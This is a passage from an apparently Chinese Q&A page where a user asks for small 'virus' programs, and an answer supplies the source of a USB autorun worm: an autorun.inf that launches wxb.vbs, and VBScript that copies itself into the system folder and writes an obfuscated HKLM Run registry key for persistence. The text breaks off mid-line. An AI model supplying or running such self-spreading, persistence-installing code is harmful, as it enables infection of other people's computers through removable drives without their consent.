小程序,小病毒或者实用的源代码

来源：百度知道 编辑：UC知道 时间：2024/06/01 02:31:23
给点有趣的小程序或者小病毒的源代码，是用.bat或者.exe能打开的,要是是小病毒,是不会破坏我的电脑的,比如像时间流这样的小病毒,而且给我删除的方法.还有请各位大虾们,给点实用的源代码~~记住!前提是可以在VISTA和XP中能运行的和能用.bat或者.exe打开的!

新建一个autorun.inf文件
内容为
[autorun]
ShellExecute=wxb.vbs
新建一个wxb.vbs 文件
内容为
Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if (fs.FileExists(dirwin&"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Reg